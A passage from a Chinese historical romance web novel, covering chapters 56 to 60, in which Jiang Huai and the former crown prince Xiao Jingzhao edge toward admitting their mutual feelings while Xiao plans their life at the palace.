毕竟男风寻常,可不娶妻生子的男风就不是谁都能接受的。
姜淮越想,越感觉自己好像想得太多了,哪怕他以往试探性地问过萧靖昭,可那只是试探,不好说对方面对现实时会做出什么选择,对方会做出和他一样的选择吗?
姜淮很少有这么忐忑的时候,以往面对选择,他对哪种结果都可以接受,可现在,姜淮捂住胸口,只感觉心脏跳得过于快了,让他清晰地明了,自己大概率是做不到坦然接受结果。
要不要再试探下……
“心口是不舒服了吗?”萧靖昭一进屋,看到姜淮捂着心口,拧眉想着什么,下意识吩咐跟过来的亲卫,“快去请杜大夫。”
杜大夫是遭到贬谪的太医,说起来也算是他倒霉,意外掺和进了皇后和贵妃的争锋,意外地当了皇后的刀,皇后做的事揭发出来,杜大夫也跟着被牵连,差点就不是遭遇贬谪流放,而是直接丢命。
只不过萧靖昭一直惦记着姜淮的身体,哪怕安远府后面多了些大夫,可是好大夫依旧是可遇不可求,更何况越是医术高超,大夫就更加不愿意困在一家的宅邸中,为了提高医术,必须多看病人。
萧靖昭就让待在京都的探子时刻注意着,有哪些医术高超的大夫能自愿去安远府,成了姜淮的专属大夫,只不过这要求对方是心甘情愿地去,不然一个不甘愿的大夫,就算人到了,萧靖昭也不敢让对方给姜淮把脉。
医者一道,稍微有所偏差放松,得出的结果就不是那么好了。
而这时候,杜太医就出现在探子眼中,只不过那时候时间紧急,等不及萧靖昭回复,在卫彦的安排下,将杜太医的判处结果从处死改成了流放,至于流放到哪里去,上面的人就没有人关注。
毕竟就算杜太医的医术如何了得,可皇帝想要征召好大夫,怎么都能找到,自然也就不在意一个小小的杜太医。
而杜太医被送到安远府时候就知道自己是因为什么才逃得一命,哪怕对于给权贵看病已经没有兴趣,可这救命之恩他必须得报,也就心甘情愿地来了。
而到了安远府,杜太医本来还想着给姜淮看病之余还能给外人看看病,可看到萧靖昭的一瞬,他就知道自己大概是不能出姜府了。
作为太医,杜太医曾经给太子看过病,而萧靖昭虽然模样和之前比变了许多,可杜太医认人从来不是单看皮肉,还要看骨相,这一看就将萧靖昭给认出来了。
认出来的杜太医也没有自作聪明,而是选择老实交代自己看出的情况,而对于杜太医的老实,萧靖昭也给出了回报,让他过得更舒服些,遇到什么疑难病症,还会让杜大夫过去看诊。
虽说比杜大夫曾经想过的生活要差点,但是杜大夫也知道,他现在这样已经是萧靖昭开恩,若是为了保险,他此时怕是除了姜府的人,什么人都要接触不到才行。
杜大夫同样投桃报李,对姜淮的身体越发的上心,在姜淮不愿意喝一大碗的汤药时,按照姜淮形容的说法硬是弄出了一些丸剂,吞服起来容易些,外面裹了一层加了糖衣的蜂蜡,入口也不苦。
而在杜大夫的调养下,姜淮的身体确实是一天比一天地好起来了。
以至于看到姜淮不舒服,萧靖昭下意识就让人喊杜大夫。
“没事,我心口没事。”姜淮赶紧拦住萧靖昭喊杜大夫,他这几天因为想事想太多,昨天才偷偷地让杜大夫把脉,得出一个忧思过多有点伤身的结果,要不是因为症状还很浅,加上姜淮非常不情愿,杜大夫估摸着都要给他开一剂药。
这件事萧靖昭应该是不知道的,可待会要是杜大夫过来一把脉,萧靖昭问起来,姜淮清楚杜大夫肯定不会帮他瞒着了,到那时,本来没事的事,他得挨两顿批。
一个是病了,一个是瞒着萧靖昭。
想到这个结果,姜淮赶紧让亲卫停下,不能去喊杜大夫。
亲卫停下脚步,有些犹豫地看向萧靖昭。
若开口的是其他人,亲卫不为所动,可偏偏是姜淮,要知道,哪怕是萧靖昭做的决定,可姜淮一开口,萧靖昭哪怕不是立即同意,可也是会多加考虑的,更何况,萧靖昭最厌恶他身边的人不把姜淮当回事,他要真去找杜大夫,不但无功,反而会算是过失了。
“没事?”萧靖昭狐疑地看着姜淮,伸手给姜淮把脉,他也跟着杜大夫学了一手医术,虽然算不得多么的精通,可也稍微能从脉象中看出一点身体状况,这一把脉倒是让他确定姜淮确实没有什么事。
心若是有事,脉象不会这么平稳。
不过……
萧靖昭抬头,姜淮面色不变,可手下的脉象却是乱了几分,像是有些慌乱的样子,他在慌乱什么?
而且,这脉象似乎……
姜淮看着萧靖昭沉凝的面色,心里直打鼓,他想起一件事,虽然昨日杜大夫说他不能忧思过重,可他从昨天到今天,想的事好像还是特别的多,萧靖昭该不会把脉把出来了,对方的医术不至于突然进步到这种程度吧。
姜淮心漏跳了一拍,忽然想到他之前想起的试探,脱口而出:“我刚刚只是在想一些事。”
“什么事?”萧靖昭看出姜淮试图转移话题,不过脉象虽然让他觉得有些不对,可他的医术还是没有到杜大夫那个程度,也没有看出什么,见姜淮开口,还是松开了姜淮的手。
从姜淮这边问不出什么,那去问问杜大夫就好了。
“若是回了京都,是不是要买个宅子?”姜淮说,见萧靖昭一直看着他,找补道,“这不是五年快到了,我觉得你肯定比我先去京都,所以,要不然你帮我看看?”
“好。”萧靖昭盯着姜淮看了好一会,看得姜淮都有些心虚了,这才一口应下。
第57章 第 57 章
看宅子这事说大不大, 说小不小,如果萧靖昭对姜淮无心,那趁着这个机会, 恰好就可以从姜家搬出去,毕竟在安远府他们是一直住在一起的,可若是对方有心, 那趁着这个机会也可以暗暗表态了。
姜淮越想越觉得自己这个主意不错, 既稍微表达了点自己的态度,又可以让萧靖昭有轻松选择的余地。
姜淮自觉已经达到了目的, 为了避免萧靖昭再次想起刚才的事, 随便找了个借口就开溜, 他得赶紧去休息下, 别管这白天休息有没有用, 先歇一会。
看着姜淮逃避,萧靖昭压下心底的波动, 转头去找杜大夫了解情况。
“他这几日忧思过重?”萧靖昭垂眸, 脸上看不出喜怒。
“只是略有些思虑,对身体影响不大。”杜大夫知道姜淮为什么不愿意萧靖昭知道这事, 哪怕现在说了实话,可还是替姜淮找补了一番。
而且, 他说的也是实话,姜淮只是这几天才多想了些,只要不继续持续下去,对身体确实影响不大。
而现在萧靖昭发现了, 姜淮怕是想多想都没时间想了。
“他就是不爱吃药。”萧靖昭轻笑了一声, 哪怕杜大夫将一些汤药做成了丸剂,可不是所有的药都能这样做, 更何况,就算是丸剂,姜淮有时候都不太情愿吃,嫌酸苦。
想起姜淮吃药时苦巴巴的脸,萧靖昭眉眼间染上些许无奈,他之所以将姜淮的身体状况盯得紧,就是因为姜淮不爱喝药,如果早些发现问题也就不用喝多少汤药,可要是拖得晚了再发现,姜淮的身体就算调理好了,可和普通人相比还是虚弱一些,喝药休息的时间就要拉长,姜淮更不情愿了。
只不过这些萧靖昭并没有和姜淮提起过。
杜大夫看出萧靖昭是将这事轻拿轻放了,不由得松了口气,毕竟要说起来,他为了姜淮的话瞒着萧靖昭还是说不过去的。
“没有下次了。”萧靖昭抬眼看向杜大夫,眼中还残留着浅淡的笑意,说出来的话却有点冰冷。
杜大夫连连点头,他是不敢再多瞒了,萧靖昭太敏锐了些。
接下来几天,萧靖昭闲暇之余就开始考虑,要让姜淮住在哪里。
当然,既然姜淮要让他帮忙看宅子,那京都最好的宅子自然就是皇宫了。只是皇宫之中,宫殿众多,该让姜淮住哪一殿呢?
宫中的宫殿众多,或华贵,或清幽,尤其是这几年,皇帝各种大肆扩建宫殿,让皇宫的面积又扩大了几分,那些新殿宇营造得更加好看些。
可问题是,看来看去,萧靖昭都觉得这些宫殿太大了些,而且距离永安宫都有些距离,若是他平时要上朝,处理朝政,姜淮都离得他远。
而且萧靖昭可太清楚,姜淮有一身懒骨头,虽说平时得动的时候,哪怕不情愿也会干活,可要是能休息,那是一点不愿意动弹,让他时不时地到永安宫来看他,萧靖昭清楚,以姜淮的脾性,哪怕他开口了,对方也不会频繁地来。
那,让姜淮住到永安宫来呢?
这个念头一旦产生,就犹如熊熊燃烧的火焰,在萧靖昭脑海中不断跳跃,无法掐灭,而且越想越觉得这个主意不错。
既然姜淮不喜欢动,可他又想时时刻刻能看到姜淮,不如就让姜淮住到永安宫,要说起来,永安宫可比他们如今住的宅邸大多了,他们现在能这么住,回了京怎么就不能住呢?
想到到时姜淮在永安宫歇息,他上朝回来后就能看到姜淮,可以陪着姜淮一起用膳,不用像现在这般,时不时地就要留在军中,到那时候,不光是一日三餐都可以和姜淮一起吃,其他时间也都可以待在一起。
萧靖昭脸上浮现出笑意,仿佛已经看到了那一幕。
至于说姜淮会不会不愿意,萧靖昭觉得不会的,毕竟这次找宅邸是姜淮开口的,那他带着姜淮去哪里住,姜淮应该已经做好了准备。
卫轩对萧靖昭太熟悉了,这几天就隐隐察觉到萧靖昭的情绪似乎有些亢奋,若说是为了即将回京,不是卫轩小看这件事的重要性,而是为了这件事,他们准备了太久,激动亢奋什么的已经维持很久,到了如今已经变成了平静,起码表面是这般的平静。
而一进屋,看到萧靖昭脸上的笑意,卫轩鬼使神差地想到了姜淮。
除了姜淮,还有谁能这般搅动萧靖昭的情绪呢?
所以,又发生了什么?
卫轩绞尽脑汁地回忆这几天的事,自从他发现萧靖昭对姜淮的感情改变不了,他就一直关注着姜家的情况,只是现在不比之前,萧靖昭对姜府的管控严严实实,他也只能靠自己的眼睛看了,可被萧靖昭看出自己知道了什么,卫轩也不好再常留下。
这一番回忆,卫轩硬是没有想出什么情况,毕竟姜淮和萧靖昭的相处模式在他看来并没有变化。
扫了眼书桌,卫轩看到了几座宫殿的名字,目光不由得一顿。
是萧靖昭想要去这些地方住?
卫轩略一思忖,便否定了这个猜测,永安宫是大周这百来年,每一任帝王定居之地,哪怕有些时候帝王会去其他宫殿避暑别居,可基本是在永安宫住,而经过这么些年的修缮,永安宫也是整个皇城的中心,没有特殊的理由,萧靖昭不太可能换地方。
所以,那这些宫殿是为姜淮挑的?
虽然在心底是带着疑问的语气猜测,可卫轩觉得自己大概是猜对了。
可后宫中,让姜淮住进去,这……
先不说成不成体统,后宫是妃嫔居住的地方,姜淮住进去,名声就彻底毁了,况且,妃嫔众多,姜淮一介男子住进去,也很不便啊。
说实话,经过这些天的心态调整,卫轩已经决定不干涉了,毕竟帝王的情爱虚无缥缈,若是他现在干涉过多,万一之后这段情爱出问题,就没有办法捞姜淮了,还不如现在先不管,等后面出事还能帮姜淮一把。
只是卫轩没有想过,萧靖昭和姜淮在一起,连妃嫔都不准备要了。
尽管不想开口,可卫轩犹豫了一番,还是对萧靖昭道:“后宫女眷众多,若是让姜淮住进去,怕是会惹人非议,也会有些不必要的麻烦。”
若是真的喜欢姜淮,大可以想见姜淮时就让姜淮进宫,皇宫旁边的宅邸多得是,好宅邸也是数不胜数,何必让姜淮住进后宫呢。
况且,在外面住着,姜淮还可以当臣子,哪怕背了个奸佞的名头,可也比待在后宫好多了啊。
和姜淮相处这么几年,卫轩也清楚,别看姜淮懒散,对方心中其实也是有些想法,想要尽自己的能力做些改变天下的事,这样的人若是成了后宫中人,不光是对人才的浪费,更像是折断了对方的翅膀。
“他不会住在这里的。”萧靖昭的一句话让卫轩松了口气,哪怕听萧靖昭的语气,对方并不是因为他的劝告才改变主意,可卫轩还是替姜淮高兴。
正高兴呢,就听萧靖昭接着道:“到时,他和我一起住永安宫。”
卫轩猛地抬头,想从萧靖昭脸上看到对方是在开玩笑的痕迹,可是萧靖昭的神情太认真了。
和住在永安宫相比,住后宫都算好一点的选择了。
起码住在后宫的话,姜淮见到前朝大臣的概率小了,挨骂的可能性也会降低一些,因为后宫中,大周这百年来的帝王也不是没有过男妃,接受度固然不高,可也不是不能接受。
可要是住永安宫,卫轩都不用想了,每一任被帝王接到永安宫住的人,每一个都是被人各种盯着,时不时地上奏折贬斥一顿。
卫轩又想开口劝说了,而萧靖昭则是在想着卫轩的话,他刚才就想到自己忽视了什么,只是一直想不起来,现在卫轩一开口,倒是提醒他了。
固然他想让姜淮一直陪着他,可若是让姜淮被人视作乱奸佞脔宠一类的人,萧靖昭更不情愿了,哪怕他会尽他所能地护着姜淮,可也担心在他没有注意的情况下,让一些言语伤害到姜淮。
想要让其他人不敢开口,权力是个非常重要的东西。
萧靖昭见惯了官场上的踩低捧高,清楚权力可以带给一个人什么,哪怕那些人私下可能有些闲话,可明面上是绝对不敢对姜淮开口的,不然那就是不敬上官。
卫轩犹豫着想怎么开口,一抬头,就看到萧靖昭陷入沉思。
不知道是不是经过刚才的事,卫轩一看萧靖昭沉思,就感觉汗毛倒竖,有些不安起来。
他刚才有说什么提醒了萧靖昭吗?
卫轩冥思苦想,感觉自己刚才说的都是非常正常的话,应该不至于引发什么奇特的思考,可他还是不敢轻易地下结论。
另一头,姜淮看着账本,忽然感觉身上恶寒,以为是窗户漏风了,可左右一看,窗户都关得严严实实,根本不可能漏风,那他刚才那阵寒意是从何而来?
第58章 第 58 章
姜淮捧着一本书看着, 这是书坊最近刚出的小说。
当然,换个说法,这本小说是姜淮找人私人定制的。
在大周, 有钱有势的人有非常多的娱乐方式,最简单的无非就是参加宴会,观赏歌舞表演, 或者还有一些其他的酒令游戏, 再不然就是出门狩猎踏春了。
后者对姜淮来说,只能是偶尔出去一趟, 因为他如今骑马没有什么问题, 但射箭还是不太行, 练习了这么久, 姜淮射固定靶子都还好, 可一旦要射活动靶,准头就不行了。
而狩猎时, 野外的动物可不会站在原地等死, 尤其是如今狩猎的人多,动物极为敏锐, 一有风吹草动就跑了,而姜淮的眼力又比较一般, 等他看到野生动物后,还没有来得及举起弓箭,动物就先跑了。
不过,最重要的是, 姜淮有点不忍心猎杀这些动物。
不管是兔子, 狐狸,还是野鹿, 姜淮都不忍心动手。尽管他知道有些猎户会去抓这些动物来换钱,可对方那是为了维生,而他们去狩猎那就是纯粹的取乐了,实际上,他们既不缺这点肉食,也不缺皮毛。
哪怕知道这些动物现在并不是什么保护动物,可姜淮还是不太忍心动手,他不能去阻挡别人,但可以管住自己,所以去过几次后,姜淮就不怎么去了。
当然,姜淮清楚野外狩猎是大周世家贵族常用的娱乐手段,也不想让他的态度影响身边其他人,给的借口就不是他不忍心,而是射箭技术不行,加上狩猎骑马累,懒得去。
这样一来,就少了一个娱乐方式,而前者,歌舞表现确实挺好看的,但是现在只能看现场,不可能像以前在手机上,看到什么精彩的表演就可以重复地看,加上一场表演要准备好,准备时间还挺长的,这中间就空出了不少空闲时间。
最主要是,歌舞哪怕好看,可看得多了也腻味了,至于其他的酒令游戏,得有人能陪着玩才起劲,可姜淮也不认识什么有时间陪他玩的人,稍微生疏一些的嘛,一起玩,听他们说话都觉得心累,哪怕是被众人捧着玩,似乎也没有多大趣味了。
最后,姜淮发现了一个打发时间的好办法,看书。
只是安远府的藏书实在是不多,而内容也比较的枯燥无味,姜淮想看的小说非常的少,顶多就是有些游记类的书,写得还是很文绉绉的,看一句,脑内翻译一句,开始实在无聊的时候,姜淮还能坚持看下去,甚至按照游记的说法画图,可看到后面,姜淮就看不下去了,因为这游记看得他仿佛在看各地地图似的。
反倒是萧靖昭很喜欢看这些游记,姜淮就将搜集来的游记都给萧靖昭了,自己冥思苦想,然后去找了一些说书人,让他们给自己写点打发时间的小说看。
本来姜淮是想找读书人的,可在大周,能读书识字的人,哪个不是想着为朝廷做事,如果姜淮想让他们写的不是小说都还好,可小说,在这些人看来并不是什么正经事,尤其是姜淮给出的案例更是让他们觉得有些荒谬,自然都是婉拒了。
如果姜淮用权势强行逼着他们来写,当然也是可以的,只不过姜淮清楚,以他们这不情不愿的态度,必然是不会去认真研究如何写小说,更别说写出让他觉得好看的小说。
因为在现代,姜淮看的小说数不胜数,眼光自然也被拔高了,如果对方用心写,或许靠着点古代的风格,加上两个世界不同的脑回路,多少还能吸引点姜淮的注意力,可要是不用心,那写出来的内容就惨不忍睹了。
对方要是磨洋工,那浪费的也只是姜淮的精力和时间,而且谁知道这些人有没有写小说的天赋呢,与其找这种不愿意合作的,不如去找一些有天赋的,还愿意合作的。
而说书人就进入了姜淮的视野,能说书,也基本就会识文断字了,哪怕学得粗浅,但姜淮想看的小说也不要求对方用词如何讲究,能将故事说明白就够了。
而说书人讲了这么多年的故事,能被举荐到姜淮面前,也自然是有足够的天赋,毕竟一般的故事,说书人不可能是照着书就这么念,需要重新整理一番,讲出来才能足够吸引茶客。
而这种整理,也相当于是在锻炼他们写小说的能力了,最主要是,这些说书人很听话,知道姜淮想看什么后,就会照着姜淮的需求来编故事。
其实这种自己知晓大致剧情的故事听起来还是会有些无聊,但是姜淮也没有办法,他如果直接让说书人自由发挥,那对方讲的就是符合大周风味的故事,虽然还行,但是不太符合姜淮的喜好。
而他这边给不一份大纲,让对方照着填充编写,哪怕文笔细节可能不太符合要求,走向自己也清楚,可也是锻炼一下这些说书人,这样对方才能进步,后续才可能独自编写出符合姜淮喜好的故事。
姜淮不会低估这些说书人的能力,但同样也不会过于高看他们,认为他们无须学习。
刚开始的故事,姜淮本意是想着让说书人练习一下,考虑到对方的接受能力,写了个仙侠故事大纲,没想到说书人对于神仙神话什么的了解甚深,根据他给出的大纲编出来的故事也是奇妙无比。
尽管因为大纲内容姜淮自身也清楚,可骨架上填充的血肉无比鲜活,听得姜淮很是投入,而这个故事在姜淮听完后,为了不浪费这个故事,甚至直接印成书卖了出去。
不过因为并不是所有人都能读书识字,小说在安远府并没有卖多少,更多的还是召集了一些说书人,将故事卖出去,然后让整个故事在安远府传开了,成为安远府最为火爆的故事。
毕竟以往讲述的大多是一些演义故事,或者一些简短的神话传说,哪里有这种节奏轻快,格外吸引人的仙侠故事。
因为故事过于火爆,甚至还有一些外地的说书人,成群结队队地来安远府买书,毕竟印出来的那部分书,一些是在安远府本地售卖,而另一部分则是到京都去了,他们想买都买不到,只能来安远府卖了。
而都到了安远府,自然不能光买书,也得听一听同行的说书能力,而这一听,就让他们知道这故事的灵感其实是出自姜淮之手,而姜淮还在找人给他写故事解闷。
这倒不是重点,重点是姜淮似乎有不少灵感,但是因为手下的说书人不够多,或者说有能力的说书人不够,所以不得不再找说书人来做事。
其实事情会这样发展,也只能怪姜淮看书的速度太快了,姜淮本以为写出一本来,能让他多解闷一会,起码可以翻来覆去地看个好几遍,可看书加听说书,听个三四遍了,人也有点腻味了。
可在他看书兼听书的过程中,第二个故事还没有写出来,哪怕用的写字比较快的炭笔,可一个故事想要写出来,本身就不容易,更何况文字也不能过于直白,毫无美意,写起来速度就更慢了。
眼看着自己很快就要断粮,甚至之后可能时不时地都要断粮,姜淮才想着再招一些说书人,只是安远府本地的说书人都快被他一网打尽了,姜淮都以为自己是要去找一些读书人了,没想到这外地的说书人就来了,甚至主动登门。
这么多说书人来,姜淮自然不肯放过,只是这些人不可能一直待在安远府给他写文,哪怕对方是想写,可要一直待在安远府,这些人的事业也就彻底没了,所以姜淮思前想后,将这些人直接签在了书坊,让他们签约后,问清各自能写的内容,把多出的那些脑洞都给了出去,定好了交稿的时间。
这么一来,姜淮一下子就多了许多个给他写故事的人,当然,书坊也跟着开了出去。
而这么几年下来,书坊的规模越做越大,而写小说的人也多了起来,而这些说书人讲故事的能力也越来越强了。
就姜淮现在看的这本,虽说是他私人定制的小说,但是他也只是模糊地讲述了下他想看什么,内里的内容具体如何,姜淮也不太清楚,而现在一看,内容的精彩程度直接超出了姜淮的想象。
姜淮看得津津有味,要不是吃饭的时候实在是不方便看书,姜淮真是恨不得吃饭的时候也看。
唯一遗憾的是,手写速度终究快不起来,加上说书人不习惯写长,小几十万字,这篇小说就要看完,看着剩下的页数,姜淮很是心痛。
萧靖昭一回来就看到姜淮看出看得入迷,好在书房里的烛火点得够亮,不然很是伤眼。
不过就算有烛火,火光跳跃,光线明暗交错,这时候看书也多少有些伤眼了。
“明日看吧,不然眼睛待会痛,你又得喝明目的药。”
如果萧靖昭说的是别的,姜淮可能还会舍不得放下书,可喝药这个词直接让姜淮一激灵,老实地放下书。
反正也都看了快一天,明天再看也行。
而得知姜淮看了一天后,萧靖昭眨了眨眼,他想让姜淮掌握足以自保的权力,可权力不是白拿的,必须有付出,若是真按照他想让姜淮做的官职,姜淮恐怕会很忙,别说像现在这样,看上一整天的闲书,怕是连和他在一起的时间都要缩短太多了。
姜淮不自觉抖了抖,感觉又一阵凉风吹来,赶紧关上房门,避免自己受凉。
第59章 第 59 章
“没烧火墙?”萧靖昭将姜淮的动作都看在眼里, 感受了下屋内的温度,皱了皱眉。
眼看萧靖昭马上吩咐下去,让下人去烧火墙, 姜淮赶紧拦住他。
“别,就刚才冷了下,身上穿得够暖和了, 不用烧火墙。”之前天冷不得不烧, 可现在天气回暖,白天出太阳的时候更暖和些, 现在冷也是因为快入夜, 可也坐不了多久就得躺下, 被窝里更暖和。
烧火墙是会提高点温度, 可为了提高那点温度让屋内燥热起来, 有些划不来了。
为了挡住萧靖昭,姜淮伸手握住了萧靖昭的手, 或许是因为刚在风中走过, 萧靖昭的手有些冰凉,而这丝冰凉越发衬得姜淮手心暖和。
“是不是很暖和?”姜淮没多想, “我这肯定没着凉,就不用烧火墙了吧。”
姜淮说着晃了晃手, 萧靖昭没有回应,而是看着两人交握的手指。
该不会是这个动作太亲密,有点吓到了萧靖昭?
姜淮脑海中闪过一丝念头,还来不及细想, 下意识就想抽出手来。
发现指间的温暖要被抽走, 萧靖昭手指下意识攥紧,入手的温热让萧靖昭有些舍不得松开。
好像不是讨厌?
感受到另一只手传来的力度, 意识到萧靖昭的想法可能和自己猜测的不一样,姜淮心跳加速,忽然想到他们之间微妙的关系。
如果是互相喜欢的话,那这样应该是很正常的吧。
意识到这点后,姜淮手心的触感似乎变得更加敏锐了些,他感受到萧靖昭的手指被他捂着,逐渐从冰冷到了温热,而且似乎越来越热,热得有些烫手了。
另一只手上有一层厚茧,握着都有些发痒,姜淮不自觉摩挲了下。
姜淮手上其实也有一层茧子,不过他的茧子要轻薄不少,毕竟只是写字,骑马时握住缰绳磨出来的,但是和萧靖昭这种习武磨炼出来的茧子就不同了。
姜淮忽然有点好奇,捧起萧靖昭的手就准备再仔细看看,毕竟等回到京都,说不定两人就在一起了,那在这之前,再多了解对方一点不是更好。
要说起来,这还是姜淮头一次对一个人这么做,他并不是对所有人都这么好奇的,如果以前就好奇,那有的是人会主动满足他的好奇,他好奇的对象就是萧靖昭。
“诶!”
只是姜淮想看,萧靖昭却已经急匆匆地抽回了手,将手藏到身后,神色中带着丝丝慌乱,很细微,可姜淮此时一直关注着他的脸色,怎么会看不出来。
“我……军中还有些事,我再回去看一眼。”萧靖昭垂眸避开姜淮的视线,语速飞快地说完话,不等姜淮开口就匆匆转身离开,只有一抹发红的耳尖在姜淮的眼中掠过。
是不是逗过了?
姜淮想追过去看看萧靖昭,看情况解释一下,可想到萧靖昭刚才的反应,感觉他追过去,萧靖昭不会更害羞,那,要不然就先让他缓缓。
虽然姜淮觉得他这个行为也不算太暧.昧,但仔细想想,他以往和萧靖昭就算是有牵手,有肢体接触,可那种接触都只能算是大咧咧的相处,彼此心里也没有什么特别的想法,自然也毫无感觉,可现在……
姜淮看向左手,手指交缠的亲密已经不亚于拥抱了。
算了,让萧靖昭冷静下,他也冷静一下。
姜淮深吸口气,定定地看向虚空,这么一安静下来,姜淮才发现他的心跳居然也意外的快了起来。
……
萧靖昭像是身后有猛兽追赶,在夜风中疾行了好一阵子,发现身后没有追过来的脚步,速度才逐渐放缓,心底泛起的情绪不知是放松还是遗憾。
刚才找的借口还在,哪怕知道这个借口很拙劣,可萧靖昭还是决定去军中看一趟,他需要冷静一会。
翻身上马,萧靖昭握紧手中缰绳,因为之前一直紧紧攥着拳头,夜风也没有将掌心中的暖意吹散,一握住缰绳,掌心似乎还残留着刚才的柔软温热。
只是随着时间流逝,这点温暖也被夜风带走了,哪怕萧靖昭紧紧攥住拳头,也留不住这丝温暖。
“将军?”跟随的亲卫等了好一会,看到萧靖昭紧盯着手心,并没有动,低声询问道。
“走!”萧靖昭敛眸,攥紧缰绳。
将军营巡视了一遍,陪着一起巡视的将官只当是萧靖昭过于关注军营,并没有往别处想去,倒是卫轩听到消息,就感觉到不对劲。
萧靖昭在乎军队吗?
这个自然是在乎的,可卫轩也同样清楚,萧靖昭也很在乎姜淮,军中的事都处理完了,这一天都没有看到姜淮,萧靖昭怎么舍得将陪姜淮的时间用来巡视军营。
巡视完军营,萧靖昭也没有直接离开,而是留下来和其他将官说了些话,谈话间,萧靖昭的目光从几人手上掠过。
作为武将,一双手要握紧武器,自然布满了厚茧,骨节粗大,极富力量感,风吹日晒,加上练武时总是会有些小伤口,残留下一些疤痕,不是特别的丑,但显然也是不好看的。
以往萧靖昭从来没有注意过这些,毕竟武将不需要一双多好看的手,能握紧武器,击杀敌人,这就够了。
可,想到姜淮那双骨肉匀称,修长白皙的手,再看看自己的手。
其实萧靖昭的手也不难看,毕竟他练武的时间虽然长,可和这些武将比起来还是要短些,更何况他学习练武的时候还是太子。
作为太子,哪怕喜欢练武,可身边的人也不会让他手上残留太多的练武痕迹,长期地擦保养药膏,哪怕萧靖昭练武,来到安远府的保养也少了,可这手也顶多是比文士的手要再粗糙些,只是有些不太符合大周人的审美。
可在姜淮想要仔细看他手的时候,萧靖昭下意识就觉得这双手不适合让姜淮看到。
因为不好看。
萧靖昭的气势沉郁了一些,不过围在他身边的武将心思都没有那么细腻,并没有发现这点。
卫轩犹豫再三,还是决定来看看,一进帐,就看到萧靖昭将双手放在桌案上,目光极冷。
手上有什么吗?
卫轩仔细地看了一会,并没有可疑的伤痕。
“宫中的玉颜膏,多快能拿到?”萧靖昭看了好一会,手心的茧子是没有办法了,毕竟除非他不练武,不接触武器,不然手上总是会磨出茧子的,可手背还是能挽救一下。
萧靖昭记得宫中有一味药膏,是后宫的娘娘们最喜欢的,本来这玉颜膏是制作出来祛疤的,可不知道是谁发现擦了之后可以使肌肤白皙洁净,玉颜膏顿时就备受追捧。
之前能祛疤就导致玉颜膏的用量大增,而发现能改善肌肤后,太医院的玉颜膏直接断供了,只有皇后和极为受宠的妃嫔才能得到一些,用在身上,其他妃嫔基本没有机会得到。
萧靖昭想起这味药膏时很是松了口气,若是没有玉颜膏,他都不知道要怎么办了。
“……”卫轩脑子一蒙,险些以为自己幻听了,这手和玉颜膏有什么联系吗?
没有得到回应,萧靖昭抬眸,卫轩发现萧靖昭的目光竟然很是认真在意,似乎这玉颜膏真的很有用。
“玉颜膏宫中用得极多,尤其是如今,皇帝的宠妃可有好几个,更是供不应求。”卫轩说了几句宫里的现况,在萧靖昭不耐烦前道,“你很急着要的话,我们可以花银子买些回来,大概就三瓶,急要的话半月多就能送到。”
这三瓶还是挤出来的量,更多的话,恐怕就要去找那些宠妃买了,只是这些宠妃哪里舍得卖掉,毕竟这玉颜膏是真稀罕,而她们想要维持皇帝的宠爱,不敢让自身的美色有任何受损。
半个多月,也够了。
萧靖昭心底放松,脸上也就泄露了一点,看得卫轩意识到,或许让萧靖昭来军营的原因就在这上面。
不过手有什么问题吗?
卫轩想着,忍不住抬手看了一眼,想找找看灵感,只是他怎么看都想不到原因。
既然问题已经解决,萧靖昭也不想待在军营了,立刻骑马回了姜府。
马蹄声在夜色中有些响亮,快骑到姜府附近,萧靖昭降低了速度,马蹄声也跟着轻了起来,跟在他身后的亲卫不明所以,却也跟着降低了马蹄声。
入府,萧靖昭先去了书房一趟,一进书房就看到姜淮先前看到小说就放在桌案上,似乎是没有看完,还别了一枚书签。
萧靖昭翻了翻,他对这些故事的兴趣其实一般,但是他知道姜淮看故事的时候,喜欢和人讨论,他不想让姜淮去和其他人讨论。
更何况,他这些天忙,如果不看,聊天就需要姜淮来配合他了。
萧靖昭的记忆力极佳,匆匆翻阅了一遍,就差不多了解到了故事的发展情况,而后就看到了别着书签的那页,他没记错的话,这就是他回来时,姜淮看的那页内容。
看来在他走后,姜淮没有趁机偷偷地看,萧靖昭清楚,遇到好看的内容,如果他不盯着点,姜淮很容易看下去,看来这次,姜淮更老实了点。
或者,有什么事吸引走了姜淮的注意力。
想到之前的事,萧靖昭眼眸闪了闪,忽然有种迫不及待去看看姜淮的念头。
第60章 第 60 章
只是当萧靖昭快步走到了姜淮门前, 看到屋内已经一片漆黑,显然,姜淮已经睡着了。
萧靖昭脚步顿住, 犹豫了几秒,还是没有选择进去,转身准备离开。
“你回来了?”屋内传出一声带着困倦的声音, 隔着墙壁, 音量被削弱了些,可在萧靖昭耳中, 却异常的醒目, 刚转过去的身体迅速回转过来。
“吵醒你了?”萧靖昭凑近窗户, 压低声音, 又担心声音太小, 姜淮听不到。
屋内亮起了光,朦胧昏黄的光线温暖又明亮。
隔着透明的窗户, 萧靖昭看到了姜淮。
从睡梦中醒来, 姜淮点燃了床边的烛台,乌亮的眼睛带着点雾蒙蒙, 迷迷瞪瞪的朝窗户这边看过来。
萧靖昭心口一紧,下意识贴近窗户, 想要让姜淮将他看仔细点。
姜淮眨了眨眼醒神,不过他睡下的时间也不长,这起来点灯的功夫,人也清醒的差不多, 看到萧靖昭过于贴近窗户的脸, 高挺的鼻梁紧贴着窗户都有点变形,姜淮忍不住笑了出来。
对上萧靖昭疑惑茫然的目光, 姜淮凑近窗户,伸出手指点了点玻璃窗。
“别开窗,夜风太大了,会着凉。”萧靖昭以为姜淮是想要开窗,低声阻拦。姜淮现在穿着的还是单薄的里衣,哪怕身上还披着一件披风,可也受不得凉。
姜淮本就不打算开窗,可看到萧靖昭这么说,拉紧了披风点点头。
只是看着贴在窗外的脸,姜淮脸上的笑意怎么也退不下,眉眼弯弯。
“看到我笑这么开心?”萧靖昭平日不会这么冲动地说话,只是这一天的心情过于激荡,以至于失了平时的稳重。
姜淮本来想调侃萧靖昭几句,然后再点出他为什么笑,可看着萧靖昭亮晶晶的眸子,调笑的话怎么也说不出口。
姜淮对着窗户呵了一口气,透明的玻璃窗上很快就凝结了一层淡淡的白雾,姜淮伸出手指在窗户上描了几下,画出了一个标准的笑脸。
萧靖昭眉眼更加柔和,也模仿着姜淮的动作,在笑脸边上也跟着描了一个笑脸。
只是夜风太凉了,很快,两张笑脸就渐渐地消失了,让萧靖昭不自觉皱起眉来,他想将姜淮送给的东西全都收藏起来,而刚才这个笑脸,在萧靖昭看来就是姜淮送给他的,可他却只看到了那么一会。
